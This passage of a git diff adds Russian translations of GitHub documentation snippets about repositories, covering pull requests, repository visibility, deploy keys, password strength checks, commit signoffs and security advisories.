fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118363" +--- +{% tip %} + +**Совет**. После создания запроса на вытягивание можно попросить конкретного пользователя [проверить предложенные изменения](/articles/reviewing-proposed-changes-in-a-pull-request). Дополнительные сведения см. в разделе [Запрос проверки запроса на вытягивание](/articles/requesting-a-pull-request-review). + +{% endtip %} diff --git a/translations/ru-RU/data/reusables/repositories/assign-an-issue-as-project-maintainer.md b/translations/ru-RU/data/reusables/repositories/assign-an-issue-as-project-maintainer.md new file mode 100644 index 000000000000..9629467c19d1 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/assign-an-issue-as-project-maintainer.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 48f0e78112cd03502751dc0051f3b9232c316e29 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880159" +--- +1. Если вы являетесь координатором проекта, вы можете [назначить проблему другому пользователю](/articles/assigning-issues-and-pull-requests-to-other-github-users), [добавить ее на панель проекта](/articles/adding-issues-and-pull-requests-to-a-project-board/#adding-issues-and-pull-requests-to-a-project-board-from-the-sidebar), [связать ее с вехой](/articles/associating-milestones-with-issues-and-pull-requests) или [применить метку](/articles/applying-labels-to-issues-and-pull-requests). diff --git a/translations/ru-RU/data/reusables/repositories/auto-gen-release-public-beta.md b/translations/ru-RU/data/reusables/repositories/auto-gen-release-public-beta.md new file mode 100644 index 000000000000..f4e73212d531 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/auto-gen-release-public-beta.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5c427a1c0948c0ededbec9d5a105530ab4cf228e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884910" +--- +Автоматически созданные заметки о выпуске в настоящее время находятся в общедоступной бета-версии и могут быть изменены. diff --git a/translations/ru-RU/data/reusables/repositories/autolink-references.md b/translations/ru-RU/data/reusables/repositories/autolink-references.md new file mode 100644 index 000000000000..eba0f4b3880a --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/autolink-references.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8f86af14084e29243cbea818b303fb0161b4dea3 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879908" +--- +Если для репозитория настроены пользовательские автоматические ссылки, то ссылки на внешние ресурсы, такие как проблема JIRA или тикет Zendesk, конвертируются в сокращенные ссылки. Чтобы узнать, какие автоматические ссылки доступны в репозитории, обратитесь к кому-то, у кого есть разрешения администратора в отношении репозитория. Дополнительные сведения см. в статье [Настройка автоматических ссылок для ссылок на внешние ресурсы](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources). diff --git a/translations/ru-RU/data/reusables/repositories/blocked-passwords.md b/translations/ru-RU/data/reusables/repositories/blocked-passwords.md new file mode 100644 index 000000000000..289464add3d0 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/blocked-passwords.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 1f59c95d79ab5fa0f778e05379112ec4b82afd42 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118339" +--- +{% ifversion fpt or ghec %} При вводе пароля для входа или создания учетной записи, а также при изменении пароля {% data variables.product.product_name %} проверяет его на надежность с использованием таких наборов данных, как HaveIBeenPwned. Пароль может быть признан ненадежным, даже если вы никогда ранее не использовали его. + +{% data variables.product.product_name %} проверяет пароль только во время ввода и никогда не сохраняет его в виде открытого текста. Дополнительные сведения см. на веб-сайте [HaveIBeenPwned](https://haveibeenpwned.com/). +{% endif %} diff --git a/translations/ru-RU/data/reusables/repositories/branch-rules-example.md b/translations/ru-RU/data/reusables/repositories/branch-rules-example.md new file mode 100644 index 000000000000..5611fbf3cd57 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/branch-rules-example.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 26877ad81c655c7ca312922a76e661c02574fb53 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145092702" +--- +Для определенной ветви, всех ветвей или любой ветви, которая соответствует шаблону имени, заданному с помощью синтаксиса `fnmatch`, можно создать правило защиты ветви в репозитории. Например, чтобы защитить все ветви, содержащие слово `release`, можно создать правило ветви для `*release*`. diff --git a/translations/ru-RU/data/reusables/repositories/changed-files.md b/translations/ru-RU/data/reusables/repositories/changed-files.md new file mode 100644 index 000000000000..35f3c7b5e83c --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/changed-files.md @@ -0,0 +1,2 @@ +1. On the pull request, click {% octicon "file-diff" aria-label="The file diff icon" %} **Files changed**. + ![Pull Request Files changed tab](/assets/images/help/pull_requests/pull-request-tabs-changed-files.png) diff --git a/translations/ru-RU/data/reusables/repositories/changed-repository-access-permissions.md b/translations/ru-RU/data/reusables/repositories/changed-repository-access-permissions.md new file mode 100644 index 000000000000..0b1d864b2283 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/changed-repository-access-permissions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d75898415f7b68728d0cce9f8206b66e19951190 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092701" +--- +8. Ознакомьтесь с измененными разрешениями на доступ к репозиторию. diff --git a/translations/ru-RU/data/reusables/repositories/choose-line-or-range.md b/translations/ru-RU/data/reusables/repositories/choose-line-or-range.md new file mode 100644 index 000000000000..b79223123be9 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/choose-line-or-range.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 6e768815225539268c5efd5e3b97ee691be40044 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881085" +--- +1. Укажите, следует ли выбрать одну строку или диапазон: + - Для выбора одной строки кода, щелкните номер строки, чтобы выделить ее. + ![Файл с выбранной отдельной строкой кода](/assets/images/help/repository/highlight-line-of-code.png) + - Для выбора диапазона щелкните номер первой строки диапазона, чтобы выделить ее. Затем наведите указатель мыши на последнюю строку диапазона кода, нажмите клавишу SHIFT и щелкните номер строки, чтобы выбрать весь диапазон. + ![Файл с выбранным диапазоном кода](/assets/images/help/repository/highlight-range-of-code.png) diff --git a/translations/ru-RU/data/reusables/repositories/choose-pr-review.md b/translations/ru-RU/data/reusables/repositories/choose-pr-review.md new file mode 100644 index 000000000000..79fc0967a63a --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/choose-pr-review.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c5b00062505febe2106cb9c43d036fa3bce44087 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092698" +--- +1. В списке запросов на вытягивание выберите запрос на вытягивание, который вы хотите просмотреть. diff --git a/translations/ru-RU/data/reusables/repositories/choose-repo-visibility.md b/translations/ru-RU/data/reusables/repositories/choose-repo-visibility.md new file mode 100644 index 000000000000..5803d854862a --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/choose-repo-visibility.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: e23feed170d80280d68761feb7d191866bebfb67 +ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118312" +--- +1. Настройте видимость репозитория. Дополнительные сведения см. в разделе [Сведения о репозиториях](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). + ![Переключатели для настройки видимости репозитория](/assets/images/help/repository/create-repository-public-private.png) diff --git a/translations/ru-RU/data/reusables/repositories/click-collaborators-teams.md b/translations/ru-RU/data/reusables/repositories/click-collaborators-teams.md new file mode 100644 index 000000000000..1d95ba1527e0 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/click-collaborators-teams.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8da3ff4cea66c11c76784868b4691e97c134a7f5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092697" +--- +1. В разделе "Доступ" на боковой панели нажмите **{% octicon "people" aria-label="The people icon" %} Участники совместной работы и команды**. diff --git a/translations/ru-RU/data/reusables/repositories/click-dependency-graph.md b/translations/ru-RU/data/reusables/repositories/click-dependency-graph.md new file mode 100644 index 000000000000..2f2d2ef01048 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/click-dependency-graph.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: bccecf3f08be69659594b8c1de9f9c3d722e2652 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118307" +--- +3. На левой боковой панели щелкните **Граф зависимостей**. +![Вкладка "Граф зависимостей" на левой боковой панели](/assets/images/help/graphs/graphs-sidebar-dependency-graph.png) diff --git a/translations/ru-RU/data/reusables/repositories/commit-signoffs.md b/translations/ru-RU/data/reusables/repositories/commit-signoffs.md new file mode 100644 index 000000000000..8e828d1f5ff1 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/commit-signoffs.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: 1b3e7f64c7507fde4a126cddaca3c4a97247d967 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109480" +--- +Принудительное утверждение фиксаций применяется только к фиксациям, выполненных через веб-интерфейс. Для фиксаций, выполненных через интерфейс командной строки Git, автор фиксации должен утвердить фиксацию с помощью команды `--signoff`. Дополнительные сведения см. в [документации Git](https://git-scm.com/docs/git-commit). + + +Вы можете определить, включено ли обязательное утверждение фиксаций для репозитория, в который вы делаете вклад. Для этого отметьте заголовок формы фиксации в нижней части редактируемого файла. После включения обязательного утверждения фиксаций заголовок будет выглядеть так: "Утвердить и зафиксировать изменения". + +![Снимок экрана: форма фиксации с включенным обязательным утверждением](/assets/images/help/commits/commit-form-with-signoff-enabled.png) + +Перед утверждением фиксации необходимо убедиться, что фиксация соответствует правилам и требованиям лицензии, действующих в отношении репозитория, в который вы выполняете фиксацию. Репозиторий может использовать соглашение об утверждении, например сертификат происхождения разработчика из Linux Foundation. Дополнительные сведения см. в разделе [Сертификат происхождения разработчика](https://developercertificate.org/). + +Подписывание фиксаций отличается от утверждения фиксации. Дополнительные сведения о подписывании фиксации см. в разделе [Сведения о проверке подписывания фиксации](/authentication/managing-commit-signature-verification/about-commit-signature-verification). diff --git a/translations/ru-RU/data/reusables/repositories/copy-clone-url.md b/translations/ru-RU/data/reusables/repositories/copy-clone-url.md new file mode 100644 index 000000000000..59a98375bec8 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/copy-clone-url.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: b0187ce452baee47916c464beb47abb64ae616ab +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145092677" +--- +1. Над списком файлов щелкните {% octicon "download" aria-label="The download icon" %} **Код**. + ![Кнопка "Код"](/assets/images/help/repository/code-button.png) +1. Скопируйте URL-адрес репозитория. + + - Чтобы клонировать репозиторий с использованием HTTPS, в разделе "HTTPS" щелкните {% octicon "clippy" aria-label="The clipboard icon" %}. + - Чтобы клонировать репозиторий с использованием ключа SSH и включить сертификат, выданный центром сертификации SSH вашей организации, щелкните **SSH**, а затем щелкните {% octicon "clippy" aria-label="The clipboard icon" %}. + - Чтобы клонировать репозиторий с помощью {% data variables.product.prodname_cli %}, щелкните **{% data variables.product.prodname_cli %}** , а затем щелкните {% octicon "clippy" aria-label="The clipboard icon" %}. + ![Значок буфера обмена для копирования URL-адреса с целью клонирования репозитория с помощью GitHub CLI](/assets/images/help/repository/https-url-clone-cli.png) diff --git a/translations/ru-RU/data/reusables/repositories/create-pull-request.md b/translations/ru-RU/data/reusables/repositories/create-pull-request.md new file mode 100644 index 000000000000..b07b59d5ea64 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/create-pull-request.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 88ff6aa57365fe0413a0fb1a9c814f517936f6fd +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118304" +--- +1. Чтобы создать запрос на вытягивание, готовый к проверке, нажмите кнопку **Создать запрос на вытягивание**. +Чтобы создать черновик запроса на вытягивание, нажмите на раскрывающийся список и выберите **Создать черновик запроса на вытягивание**, а затем **Черновик запроса на вытягивание**. Дополнительные сведения о черновиках запросов на вытягивание см. в разделах [Сведения о запросах на вытягивание](/articles/about-pull-requests#draft-pull-requests) и ![Кнопка создания запроса на вытягивание](/assets/images/help/pull_requests/pullrequest-send.png). diff --git a/translations/ru-RU/data/reusables/repositories/create-repo.md b/translations/ru-RU/data/reusables/repositories/create-repo.md new file mode 100644 index 000000000000..66a8eeb6e02d --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/create-repo.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: f91e78ef667242e5adb3730c77bf965037a1a1c8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092674" +--- +1. Щелкните **Создать репозиторий**. + ![Кнопка для создания репозитория](/assets/images/help/repository/create-repository-button.png) diff --git a/translations/ru-RU/data/reusables/repositories/create_new.md b/translations/ru-RU/data/reusables/repositories/create_new.md new file mode 100644 index 000000000000..703b70302d59 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/create_new.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: e450bc67fb7405ab4484df1a68525815898c65f5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145118299" +--- +1. В правом верхнем углу любой страницы откройте раскрывающееся меню {% octicon "plus" aria-label="Plus symbol" %} и выберите **Новый репозиторий**. +![Раскрывающийся список с параметром создания нового репозитория](/assets/images/help/repository/repo-create.png) diff --git a/translations/ru-RU/data/reusables/repositories/default-issue-templates.md b/translations/ru-RU/data/reusables/repositories/default-issue-templates.md new file mode 100644 index 000000000000..532d5719006d --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/default-issue-templates.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e3bab898559b43d2881e212fd83b7d2042a76f70 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092673" +--- +Вы можете создать шаблоны проблем по умолчанию и файл конфигурации по умолчанию для шаблонов проблем для вашей организации или личной учетной записи. Дополнительные сведения см. в статье "[Создание файла работоспособности сообщества по умолчанию](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)". diff --git a/translations/ru-RU/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md b/translations/ru-RU/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md new file mode 100644 index 000000000000..4c8625152518 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: 444e70adced8ef2f4fdc5f91b06a28bba89c898a +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879261" +--- +{% warning %} + +**Внимание!** + +- При удалении доступа пользователя к частному репозиторию также удаляются все вилки этого частного репозитория, созданные этим пользователем. Сохраняются локальные клоны частного репозитория. Если доступ команды к частному репозиторию отзывается или удаляется команда с доступом к частному репозиторию, а члены команды не имеют доступа к репозиторию через другую команду, частные вилки репозитория будут удалены.{% ifversion ghes %} +- Если [синхронизация LDAP включена](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync), то при удалении из репозитория пользователь теряет доступ, но его вилки сохраняются. Если в течение трех месяцев пользователь будет добавлен в команду с доступом к исходному репозиторию организации, он автоматически получит доступ к своим вилкам при следующей синхронизации.{% endif %} +- Вы несете ответственность за то, чтобы пользователи, которые потеряли доступ к репозиторию, удалили любую конфиденциальную информацию или интеллектуальную собственность. + +- Пользователи с разрешениями администратора в отношении частного{% ifversion ghes or ghae or ghec %} или внутреннего{% endif %} репозитория могут запретить ветвление этого репозитория, а владельцы организации — любого частного{% ifversion ghes or ghae or ghec %} или внутреннего {% endif %} репозитория в организации. Дополнительные сведения см. в статьях [Управление политикой ветвления для организации](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization) и [Управление политикой ветвления для репозитория](/github/administering-a-repository/managing-the-forking-policy-for-your-repository). + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/repositories/dependency-review.md b/translations/ru-RU/data/reusables/repositories/dependency-review.md new file mode 100644 index 000000000000..61a352f37f7d --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/dependency-review.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c1e28a929a201082b49e4b2327e53c5ddb352769 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147060982" +--- +Кроме того, {% data variables.product.prodname_dotcom %} позволяет просматривать любые зависимости, добавляемые, обновляемые или удаляемые в запросе на вытягивание к ветви по умолчанию в репозитории, а также помечать любые изменения, которые могут снизить уровень безопасности проекта. Это позволяет обнаружить уязвимые зависимости{% ifversion GH-advisory-db-supports-malware %} или вредоносные программы{% endif %} до того, как они достигнут вашей базы кода, а не после. Дополнительные сведения см. в разделе [Просмотр изменений зависимостей в запросе на вытягивание](/github/collaborating-with-issues-and-pull-requests/reviewing-dependency-changes-in-a-pull-request). diff --git a/translations/ru-RU/data/reusables/repositories/deploy-keys-write-access.md b/translations/ru-RU/data/reusables/repositories/deploy-keys-write-access.md new file mode 100644 index 000000000000..f2183398a1c7 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/deploy-keys-write-access.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9ec91690d5d51a8412c5944560fce87a4f835a30 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879258" +--- +Развертывание ключей с доступом на запись может запускать те же действия, что и член организации с правами администратора или участник совместной работы в личном репозитории. Дополнительные сведения см. в разделе [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) и [Уровни разрешений для репозитория личных учетных записей](/articles/permission-levels-for-a-user-account-repository/). diff --git a/translations/ru-RU/data/reusables/repositories/deploy-keys.md b/translations/ru-RU/data/reusables/repositories/deploy-keys.md new file mode 100644 index 000000000000..595c8025c52a --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/deploy-keys.md @@ -0,0 +1 @@ +You can launch projects from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} to your server by using a deploy key, which is an SSH key that grants access to a single repository. {% data variables.product.product_name %} attaches the public part of the key directly to your repository instead of a personal account, and the private part of the key remains on your server. For more information, see "[Delivering deployments](/rest/guides/delivering-deployments)." diff --git a/translations/ru-RU/data/reusables/repositories/desktop-fork.md b/translations/ru-RU/data/reusables/repositories/desktop-fork.md new file mode 100644 index 000000000000..61ad251f3a4c --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/desktop-fork.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4c7bd0a1e9ded52e8cf8ffb83665f27c8d7dd25d +ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118280" +--- +Для создания вилки репозитория можно использовать {% data variables.product.prodname_desktop %}. Дополнительные сведения см. в разделе [Клонирование и разветвление репозиториев из {% data variables.product.prodname_desktop %}](/desktop/contributing-to-projects/cloning-and-forking-repositories-from-github-desktop). diff --git a/translations/ru-RU/data/reusables/repositories/disabling-markdown-rendering.md b/translations/ru-RU/data/reusables/repositories/disabling-markdown-rendering.md new file mode 100644 index 000000000000..266a8c286f47 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/disabling-markdown-rendering.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: bf6caabe58fb5a08c9a0c42dc8b53273f06259be +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145092666" +--- +При просмотре файла Markdown можно щелкнуть {% octicon "code" aria-label="The code icon" %} в верхней части файла, чтобы отключить обработку файлов Markdown и просмотреть источник файла. + +![Отображение файла Markdown как источника](/assets/images/help/writing/display-markdown-as-source.png) + +Отключение обработки файлов Markdown позволяет использовать функции просмотра источника, такие как связывание строк, что невозможно при просмотре обработанных файлов Markdown. diff --git a/translations/ru-RU/data/reusables/repositories/edit-file.md b/translations/ru-RU/data/reusables/repositories/edit-file.md new file mode 100644 index 000000000000..7b9b9dcc1cdc --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/edit-file.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: 83794dff865278e3138079ec1ee6d9862ee18a8e +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879282" +--- +1. В правом верхнем углу представления файла щелкните {% octicon "pencil" aria-label="The edit icon" %}, чтобы открыть редактор файлов. + + ![Кнопка "Изменить файл"](/assets/images/help/repository/edit-file-edit-button.png) + + {% ifversion githubdev-editor -%} {% note %} + + **Примечание.** Вместо редактирования и фиксации файла с помощью редактора файлов по умолчанию можно использовать [редактор кода github.dev](/codespaces/the-githubdev-web-based-editor). Для этого щелкните раскрывающееся меню рядом с {% octicon "pencil" aria-label="The edit icon" %} и нажмите **Открыть в github.dev**. + + ![Раскрывающееся меню "Изменить файл"](/assets/images/help/repository/edit-file-edit-dropdown.png) + + {% endnote %} {%- endif %} diff --git a/translations/ru-RU/data/reusables/repositories/edited-comment-list.md b/translations/ru-RU/data/reusables/repositories/edited-comment-list.md new file mode 100644 index 000000000000..fdf8648473bf --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/edited-comment-list.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: eeed6c9c1e546745d9526c2dd5c253b7ac1d7a50 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092665" +--- +2. Чтобы открыть историю изменений, щелкните **изменен** в верхней части комментария. + + {% note %} + + **Примечание**. Если элемент **изменен** отсутствует, значит у комментария нет истории изменений. + + {% endnote %} + +3. Чтобы просмотреть сведения о конкретном изменении, выберите его в списке изменений. + ![Просмотр сведений об изменении для комментария](/assets/images/help/repository/choose-comment-edit-to-expand.png) diff --git a/translations/ru-RU/data/reusables/repositories/enable-security-alerts.md b/translations/ru-RU/data/reusables/repositories/enable-security-alerts.md new file mode 100644 index 000000000000..ff83465bcd1f --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/enable-security-alerts.md @@ -0,0 +1,3 @@ +{% ifversion ghes or ghae %} +Enterprise owners must enable {% data variables.product.prodname_dependabot_alerts %} for {% data variables.location.product_location %} before you can use this feature. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." +{% endif %} diff --git a/translations/ru-RU/data/reusables/repositories/git-lfs.md b/translations/ru-RU/data/reusables/repositories/git-lfs.md new file mode 100644 index 000000000000..f22e86610c75 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/git-lfs.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f8247d698d2b9a9be09d2dcf8e0492355a377204 +ms.sourcegitcommit: 06726d24e73f1175f10749d6fdcf143d6094c9a5 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/28/2022 +ms.locfileid: "148118748" +--- +Если вы превысите ограничение в 5 ГБ, все новые файлы, добавленные в репозиторий, будут автоматически отклонены Git LFS. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/repositories/github-reviews-security-advisories.md b/translations/ru-RU/data/reusables/repositories/github-reviews-security-advisories.md new file mode 100644 index 000000000000..81180d8c7e50 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/github-reviews-security-advisories.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: af93e8779411bd193314c306cc7c1a3c100e83c7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146455696" +--- +{% data variables.product.prodname_dotcom %} проверяет каждую опубликованную рекомендацию по безопасности, добавляет ее в {% data variables.product.prodname_advisory_database %} и может использовать ее для отправки {% data variables.product.prodname_dependabot_alerts %} в затронутые репозитории. Если рекомендация по безопасности поступает из вилки, мы отправим оповещение только в том случае, если пакет принадлежит вилке и опубликован под уникальным именем в общедоступном реестре пакетов. Этот процесс может занять до 72 часов, и с {% data variables.product.prodname_dotcom %} может поступить запрос дополнительных сведений. + +Дополнительные сведения об {% data variables.product.prodname_dependabot_alerts %} см. в разделах [Сведения об {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies) и [Сведения об {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-dependabot-security-updates). Дополнительные сведения об {% data variables.product.prodname_advisory_database %} см. в разделе [Обзор советов по безопасности в {% data variables.product.prodname_advisory_database %}](/github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database). diff --git a/translations/ru-RU/data/reusables/repositories/github-security-lab.md b/translations/ru-RU/data/reusables/repositories/github-security-lab.md new file mode 100644 index 000000000000..784f9c063fb0 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/github-security-lab.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 61c52e7cad3817f9c9a345fd81442a0215b252cf +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118235" +--- +Вы также можете присоединить [{% data variables.product.prodname_security %}]({% data variables.product.prodname_security_link %}) для просмотра тем, связанных с безопасностью, и внести свой вклад в средства безопасности и проекты. diff --git a/translations/ru-RU/data/reusables/repositories/initialize-with-readme.md b/translations/ru-RU/data/reusables/repositories/initialize-with-readme.md new file mode 100644 index 000000000000..0173512aa117 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/initialize-with-readme.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: ac10b57f4bd073f8744051966950ce350a8f10bc +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092661" +--- +1. Выберите **Initialize this repository with a README** (Инициализировать репозиторий с помощью файла сведений). + ![Инициализировать репозиторий с помощью флажка README](/assets/images/help/repository/initialize-with-readme.png) diff --git a/translations/ru-RU/data/reusables/repositories/internal-repo-default.md b/translations/ru-RU/data/reusables/repositories/internal-repo-default.md new file mode 100644 index 000000000000..2d3583681a02 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/internal-repo-default.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: ce7ca5fa72b7cdeff8143015eb70df2c2db915a2 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 